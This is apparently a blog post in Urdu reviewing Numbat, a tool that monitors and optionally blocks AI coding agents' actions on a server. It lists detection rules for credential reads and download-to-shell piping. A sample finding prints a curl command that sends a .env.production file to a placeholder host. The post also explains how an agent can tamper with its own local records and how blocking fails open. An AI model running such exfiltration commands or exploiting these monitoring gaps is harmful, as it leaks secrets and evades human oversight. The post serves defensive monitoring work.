Numbat: AI agent آپ کے server پر کیا کرتا ہے؟

Numbat کیا ہے

Numbat آپ کو یہ جاننے کی صلاحیت دیتا ہے کہ آپ کے زیرِ ملکیت machine پر AI agent نے کیا کارروائی کی۔ یہ coding agents کے تیار کردہ hook callbacks اور session files پڑھتا ہے، انہیں ایک متحدہ event format میں standardize کرتا ہے، اور ان کا ایسی rules کے ساتھ تقابل کرتا ہے جو SSH private key پڑھنے یا download کو براہِ راست shell میں pipe کرنے جیسے رویّوں پر trigger ہوتی ہیں۔ Perplexity نے اسے Apache 2.0 کے تحت open source کے طور پر جاری کیا۔ اس کا پہلا tagged release 29 July 2026 کو جاری ہوا۔

ذیل کی تمام معلومات project کی repository اور اس کی اپنی documentation سے لی گئی ہیں، جنہیں 2 August 2026 کو پڑھا گیا تھا۔ جہاں Perplexity نے کوئی دعویٰ کیا ہے، وہاں یہ post اسی نسبت سے بیان کرتی ہے۔ یہ install tutorial نہیں ہے، کیونکہ repository کو بنے ہوئے چند ہی دن ہوئے ہیں اور اس کے commands تبدیل ہوتے رہیں گے۔

مسئلہ: کوئی یہ درج نہیں کرتا کہ agent نے کیا کیا

آپ کے VPS پر چلنے والا coding agent shell commands چلاتا ہے، files پڑھتا اور لکھتا ہے، اور network connections کھولتا ہے۔ یہ سب اسی user کے اختیار کے ساتھ ہوتا ہے جو آپ نے اسے دیا ہے۔ آپ کی shell history میں ان میں سے کچھ بھی درج نہیں ہوتا، کیونکہ agent آپ کے shell میں خود commands نہیں لکھ رہا ہوتا۔ sshd صرف آپ کے login کو log کرتا ہے، اس کے بعد model نے جو فیصلے کیے ہوں انہیں نہیں۔ /var/log/auth.log اس وقت تک خاموش رہتا ہے جب تک کوئی چیز sudo تک رسائی حاصل نہ کرے۔ agent اپنا transcript رکھتا ہے، لیکن یہ file agent کی session directory میں ہوتی ہے، اس کا format releases کے درمیان تبدیل ہوتا رہتا ہے، اور agent کا اپنا process اس میں لکھ سکتا ہے۔

لہٰذا جب کوئی پوچھتا ہے کہ agent نے گزشتہ منگل کو .env.production پڑھا تھا یا نہیں، تو زیادہ تر servers پر دیانت دار جواب یہی ہے کہ آپ یہ معلوم نہیں کر سکتے۔ یہی خلا اس project کے وجود کی وجہ ہے۔

Perplexity کے مطابق Numbat کیا کرتا ہے

README کے آغاز میں اس ٹول کو یوں بیان کیا گیا ہے: "AI agent کی سرگرمی کی endpoint visibility، مقامی detection، اختیاری pre-action blocking، اور forensic reconstruction کے ساتھ"۔ یہاں endpoint سے مراد وہ machine ہے جہاں agent چلتا ہے، نہ کہ باہر سے نگرانی کرنے والا network appliance۔ یہ الگ الگ capabilities ہیں، اور ہر capability کی اہمیت بھی مختلف ہے۔

Detection device پر ہی چلتی ہے۔ Rules CEL (common expression language) میں لکھی جاتی ہیں اور مقامی طور پر evaluate ہوتی ہیں۔ ان کے اوپر multi-step sequence rules بھی دستیاب ہیں، اور آپ YAML میں اپنی rules بھی لکھ سکتے ہیں۔ کسی rule کے trigger ہونے کے لیے machine سے کچھ بھی باہر بھیجنا ضروری نہیں۔

Blocking اختیاری اور محدود ہے۔ یہ صرف synchronous pre-action hooks کے ذریعے کام کرتی ہے، اور صرف ان agents پر جو ایسا hook expose کرتے ہیں۔ جب تک آپ اسے فعال نہ کریں، یہ بند رہتی ہے۔

Reconstruction بعد میں ہوتی ہے۔ numbat scan ان session artifacts کو parse کرتا ہے جو agent پہلے ہی disk پر لکھ چکا ہو۔ اس لیے آپ installation سے پہلے کی activity بھی دیکھ سکتے ہیں۔ Project اس دعوے کی حدود واضح کرتا ہے: "At-rest reconstruction، disk یا memory acquisition نہیں ہے اور ایسی activity recover نہیں کر سکتی جسے agent نے persist نہ کیا ہو۔"

Output versioned NDJSON (newline delimited JSON) ہوتا ہے، جس میں events، findings، enforcement decisions، indicators اور scan summaries شامل ہوتے ہیں۔ v0.1.2 کے مطابق schema version 0.2.0 ہے۔ Records stdout یا local file میں لکھے جاتے ہیں، اور اختیاری طور پر HTTP کے ذریعے آپ کے چلائے ہوئے collector کو بھی بھیجے جا سکتے ہیں۔ یہ cgo کے بغیر built ایک static Go binary کے طور پر فراہم ہوتا ہے، جو amd64 اور arm64 پر macOS، Linux اور Windows کے لیے دستیاب ہے۔ اس لیے Linux VPS پر اسے چلانے کے لیے پہلے کوئی runtime install کرنے کی ضرورت نہیں؛ صرف ایک file کافی ہے۔

Numbat حقیقتاً کن agents کو دیکھ سکتا ہے؟

docs/agent-coverage.md میں موجود coverage matrix مستند فہرست ہے، اور اس کی coverage یکساں نہیں۔ project یہ بات صاف طور پر بتاتا ہے اور اسے چھپاتا نہیں۔ Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI کے لیے artifact scanning اور live capture، دونوں دستیاب ہیں، اور ان کے ساتھ pre-action hook بھی موجود ہے۔ OpenClaw کو version 2026.7.1 سے native plugin ملتا ہے۔ entries کی ایک طویل فہرست deferred کے طور پر نشان زد ہے۔ اس کا مطلب ہے کہ live hook path موجود ہے، لیکن artifact parser موجود نہیں۔ اکثر وجہ یہ ہوتی ہے کہ agent اپنی history کو SQLite میں write-ahead log کے ساتھ محفوظ کرتا ہے، جسے agent کے چلنے کے دوران محفوظ طریقے سے پڑھا نہیں جا سکتا۔ 2 August 2026 کو matrix پڑھتے وقت OpenCode اور Cline اسی گروپ میں شامل تھے۔

اس tool کے بارے میں کوئی منصوبہ بنانے سے پہلے اپنے agent کی row دیکھیں، کیونکہ تقریباً ہر row میں "supported" کا مطلب مختلف ہے۔

ڈیٹیکشن کی صورت

Rules میں ایسے ids ہوتے ہیں جو بتاتے ہیں کہ وہ کس مقصد کے لیے ہیں۔ secrets.read_private_key میں SSH key، AWS credentials، kube config یا package registry login شامل ہوتے ہیں۔ exec.download_pipe_shell اس وقت فعال ہوتا ہے جب curl یا wget کے output کو interpreter میں pipe کیا جائے۔ privilege.elevated_shell، sudo، doas، su یا pkexec کے ذریعے interactive root shell کی درخواست کو پکڑتا ہے۔ impact.cryptomining_launch معروف miner binaries اور image names سے match کرتا ہے۔

Sequence rules ایک ہی session کے اندر ہونے والے events کو جوڑتے ہیں۔ chain.secret_read_then_egress کے لیے پہلے secret file پڑھنا اور اس کے بعد ایسا command چلانا ضروری ہے جو data کو باہر بھیجے۔ README میں ذیل کا finding دو Claude Code pre-action callbacks کی controlled replay سے حاصل کیا گیا ہے، live incident سے نہیں۔ یہاں صرف متعلقہ fields دکھائی گئی ہیں:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record کے اندر موجود "confidence": "medium" کو نوٹ کریں، اور یہ بھی دیکھیں کہ project اس پوری output class کے بارے میں کیا کہتا ہے: "Findings are rule matches, not proof of compromise." ایسا deploy script جو key پڑھ کر build artifact upload کرتا ہے، اسی sequence rule سے match ہو جائے گا۔ Match درست ہے، لیکن alarm غلط ہے۔ آپ نے اب تک جو بھی detection tool چلایا ہے، اس میں یہی معمول کی صورت حال ہوتی ہے۔

بطورِ پیش فرض blocking بند ہے، اور خرابی کی صورت میں اجازت دی جاتی ہے

Numbat کی فراہم کردہ ہر rule صرف monitoring کے لیے ہے۔ کسی rule کو blocking میں تبدیل کرنے کے لیے جان بوجھ کر کام کرنا ہوتا ہے: rule کی مکمل YAML کو اپنی directory میں copy کریں، وہی id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، پھر اس policy کی validation اور installation کریں۔

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

اب اس حصے پر آئیں جو یہ طے کرتا ہے کہ آپ کو اس پر کتنا اعتماد کرنا چاہیے۔ Numbat کا deny agent کو واپس بھیجا جانے والا response ہے، اور tool call کو حقیقت میں agent ہی مسترد کرتا ہے۔ Enforcement guide واضح طور پر بتاتی ہے کہ Numbat میں خود کوئی مسئلہ پیدا ہونے پر کیا ہوتا ہے: "Malformed payloads، متعلقہ evaluation errors، panics، اور output failures، numbat deny کو suppress کر دیتے ہیں۔" Hook input کی حد 4 MiB ہے، اور حد سے بڑی input بھی یہی راستہ اختیار کرتی ہے۔

Guide اس deny کی حد بھی واضح طور پر بیان کرتی ہے جو واقعی پہنچ جائے: "Fail-open کا مطلب ہے کہ numbat اپنا deny response روک لیتا ہے۔ اس کی ضمانت نہیں ہوتی کہ tool execute ہوگا: host پھر بھی prompt دکھا سکتا ہے، deny کر سکتا ہے، timeout ہو سکتا ہے، یا کوئی دوسرا hook یا policy لاگو کر سکتا ہے۔"

لہٰذا یہاں enforcement ایک حفاظتی رکاوٹ ہے، مکمل حد بندی نہیں۔ اگر process crash ہو جائے تو action کو Numbat کی طرف سے block نہیں کیا جاتا، کیونکہ ایسا monitor جو ہر خرابی پر آپ کے agent کو freeze کر دے، ایک ہفتے کے اندر uninstall کر دیا جاتا ہے۔ یہ trade-off معقول ہے۔ لیکن ایسا security model نہ بنائیں جو یہ فرض کرے کہ deny ہمیشہ پہنچے گا۔

Numbat آپ کے موجودہ طریقۂ کار کے ساتھ کہاں فٹ ہوتا ہے

Numbat endpoint پر، agent کے اپنے process tree کے اندر چلتا ہے اور default طور پر ~/.numbat/records.ndjson میں لکھتا ہے۔ آپ کے user کے طور پر چلنے والا agent اس file کو پڑھ سکتا ہے۔ وہ اس میں ترمیم بھی کر سکتا ہے۔ audit trail کی قدر اتنی ہی ہوتی ہے جتنی اس کے گرد موجود isolation کی۔ اس لیے آپ کے تمام موجودہ controls اس control سے پہلے ہونے چاہییں، اس کے بعد نہیں۔

coding agent کے لیے disposable VM دینا یہ محدود کرتا ہے کہ خراب run کن resources تک پہنچ سکتا ہے۔ VPS پر least privilege user agent کو ان files سے دور رکھتا ہے جنہیں کھولنے کا اسے اختیار نہیں۔ credentials کو agent کے context سے باہر رکھنا ہی secrets.read_private_key کو اتنا نایاب بناتا ہے کہ trigger ہونے پر اسے پڑھنا مفید ہو۔ اور VPS پر Claude Code کے لیے بنایا گیا sandbox اب بھی containment فراہم کرتا ہے۔ Containment یہ محدود کرتا ہے کہ خراب run کیا چھو سکتا ہے، جبکہ code کی ساخت کی وجہ لکھ کر رکھنا یہ کم کرتا ہے کہ agent کتنی بار کوئی ایسا غیر متوقع کام کرے گا جو آپ کو log دیکھنے پر مجبور کرے۔

Numbat جو چیز شامل کرتا ہے وہ record ہے، اس لیے record کو ایسی جگہ بھیجیں جہاں agent نہ پہنچ سکے۔ numbat ship اور HTTP sink اسی مقصد کے لیے موجود ہیں۔ stream کی ایک copy دوسری machine پر رکھنا، log file اور evidence کے درمیان بنیادی فرق ہے۔ event model میں MCP (model context protocol) fields بھی شامل ہوتے ہیں۔ اس لیے VPS پر host کیے گئے MCP server سے گزرنے والی tool calls، local shell commands کے ساتھ اسی stream میں درج ہوتی ہیں۔ یہ اس لیے اہم ہے کہ صرف bash کو monitor کرنے والا کوئی بھی طریقہ اس path کو نہیں دیکھ سکتا۔ یہی blind spot agent کے search backend کے طور پر منسلک SearXNG instance پر بھی لاگو ہوتا ہے، جہاں risk کسی ایسے command کے بجائے، جسے کوئی rule match کر سکے، غیر معتبر page text کی صورت میں model کے context میں داخل ہوتا ہے۔

پہلے read-only موڈ میں آزمائیں

Pinned version انسٹال کریں۔ go install کے لیے Go 1.26.5 یا اس کے بعد کا ورژن درکار ہے۔ اگر آپ source سے build نہیں کرنا چاہتے تو releases page میں پہلے سے تیار binaries کے ساتھ SHA-256 checksums بھی موجود ہیں۔

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents اس box پر انسٹال شدہ agents تلاش کرتا ہے۔ numbat scan ڈسک پر پہلے سے موجود session artifacts کو parse کرکے records دکھاتا ہے۔ README کے مطابق یہ commands "hooks انسٹال نہیں کرتیں اور agent configuration تبدیل نہیں کرتیں"، جبکہ numbat "artifacts میں موجود agents یا commands کو کبھی execute نہیں کرتا، اور outbound requests صرف configured HTTP sinks کو بھیجتا ہے"۔ Scanning read-only ہوتی ہے اور secrets کو redact کرتی ہے۔ عام record output میں کبھی مکمل raw transcript شامل نہیں ہوتا۔

Live capture اگلا مرحلہ ہے، اور اس سے agent configuration تبدیل ہوتی ہے:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all events، findings، indicators اور قابلِ اطلاق enforcement decisions کو ~/.numbat/records.ndjson میں لکھتا ہے۔ Project کی دستاویزات میں دو اہم احتیاطیں براہِ راست بیان کی گئی ہیں۔ Hooks کو چلنے سے پہلے agent کے اندر trusted قرار دینا ضروری ہو سکتا ہے۔ --enforce جیسی flags تبدیل کرنے کے بعد اس trust کا دوبارہ جائزہ لینا ہوگا۔ نیز hook status "configuration کی تصدیق کرتا ہے، execution یا delivery کی نہیں"۔ اس لیے healthy status line اس بات کا ثبوت نہیں کہ records کہیں پہنچ رہے ہیں۔

اتنا نیا repository dependency کیوں نہیں ہے

Public releases 29 July 2026 کو v0.1.1 اور 1 August 2026 کو v0.1.2 ہیں۔ یہ post لکھے جانے کے وقت 2 August 2026 کو repository کے 597 stars تھے۔ اتنی تیز رفتار Perplexity کی audience کو ظاہر کرتی ہے، code کے قابلِ اعتماد ہونے کو نہیں۔ star کا مطلب ہے کہ کسی نے صفحہ بعد میں دیکھنے کے لیے محفوظ کیا ہے۔

Version number واضح طور پر بتاتا ہے کہ یہ project کس مرحلے میں ہے۔ v0.1.2 کے notes میں زیادہ تر credential redaction fixes شامل ہیں، اس کے علاوہ case bundle اور telemetry normalisation پر کام کیا گیا ہے۔ Redaction bugs ایسے ابتدائی defects کی متوقع صورت ہیں جو ایسے tool میں پیدا ہوتے ہیں جس کا کام دوسرے programs کے transcripts کو محفوظ طریقے سے پڑھنا ہے۔ ان bugs کی تعداد مزید بڑھے گی، کیونکہ input ایک درجن agents سے آتا ہے اور ہر agent اپنا format الگ schedule کے مطابق تبدیل کرتا ہے۔

اس سے دو عملی اصول اخذ ہوتے ہیں۔ جس چیز کو برقرار رکھنا ہو اس میں @latest کے بجائے tag کو pin کریں۔ اور کم از کم اس وقت تک اسے ایسے instrument کے طور پر استعمال کریں جس کا آپ جائزہ لے رہے ہیں، نہ کہ ایسے control کے طور پر جس پر آپ انحصار کرتے ہیں، جب تک record schema میں تبدیلیاں رک نہ جائیں۔

FAQ

کیا Numbat خطرناک AI agent commands کو روکتا ہے؟

صرف اس صورت میں جب آپ اسے فعال کریں، اور تب بھی صرف best effort بنیاد پر۔ Numbat کے ساتھ شامل ہر rule صرف monitor mode میں ہوتا ہے۔ روکنے کے لیے rule کا YAML اپنی directory میں copy کریں، اس کی id برقرار رکھیں، enforce: true شامل کریں، version بڑھائیں، اور --enforce کے ذریعے hook install کریں۔ اس کے بعد بھی deny، agent کو واپس بھیجا جانے والا response ہوتا ہے، اور call مسترد کرنے کا فیصلہ agent ہی کرتا ہے۔ Project fail-open behavior کو document کرتا ہے: malformed payloads، evaluation errors، panics اور output failures سب deny کو suppress کر دیتے ہیں۔ اسے guardrail کے طور پر استعمال کریں، واحد security boundary کے طور پر نہیں۔

Numbat کن AI agents کو support کرتا ہے؟

Coverage ہر agent کے لحاظ سے مختلف ہے اور repository میں docs/agent-coverage.md کے تحت درج ہے۔ جب یہ صفحہ 2 August 2026 کو پڑھا گیا، تو Claude Code، Codex، Gemini CLI، Cursor اور GitHub Copilot CLI میں artifact scanning اور live capture دونوں دستیاب تھے، جبکہ OpenClaw کے لیے version 2026.7.1 سے native plugin موجود ہے۔ بہت سے دیگر agents کے لیے live hook path درج ہے، لیکن ابھی artifact parser موجود نہیں۔ عموماً اس کی وجہ یہ ہے کہ ان کی session history SQLite database میں ہوتی ہے، جسے agent کے چلنے کے دوران محفوظ طریقے سے پڑھا نہیں جا سکتا۔ اپنے agent کی row پڑھیں، کیونکہ وہاں "supported" کی اصطلاح کئی مختلف سطحوں کا احاطہ کرتی ہے۔

کیا agent Numbat کے records میں چھیڑ چھاڑ کر سکتا ہے؟

ہاں، اگر وہ اسی user کے طور پر چل رہا ہو۔ Records بطور default agent والی اسی machine پر ~/.numbat/records.ndjson میں محفوظ ہوتے ہیں، اس لیے جس چیز کے پاس اس path پر write access ہو وہ records تبدیل یا حذف کر سکتی ہے۔ Stream کو ایسے collector تک بھیجیں جس تک agent رسائی نہ رکھتا ہو، numbat ship یا HTTP sink کے ذریعے، اور local file کو سہولت کے لیے copy کے طور پر برقرار رکھیں۔ اسی وجہ سے یہ tool isolation کا متبادل نہیں بلکہ اس کا معاون ہے۔ least privilege user کے تحت disposable VM میں محدود agent کو اپنی audit trail تک بہت کم رسائی حاصل ہوتی ہے۔

کیا Numbat production server کے لیے تیار ہے؟

ایسے control کے طور پر نہیں جس پر آپ انحصار کریں۔ پہلی public release v0.1.1، 29 July 2026 کو جاری ہوئی، اور v0.1.2، 1 August 2026 کو جاری ہوئی۔ اس لیے flags اور record schema دونوں ابھی تبدیل ہو رہے ہیں۔ کسی box پر numbat agents اور numbat scan چلانا read-only اور کم خطرے والا عمل ہے، اور اس سے معلوم ہو جائے گا کہ آپ کے agents disk پر کیا چھوڑ رہے ہیں۔ اہم server پر enforcement hooks install کرنا ایک مختلف فیصلہ ہے۔ اس کے لیے pinned tag اور اس صورتِ حال کا منصوبہ درکار ہے جب hook درست طریقے سے کام نہ کرے۔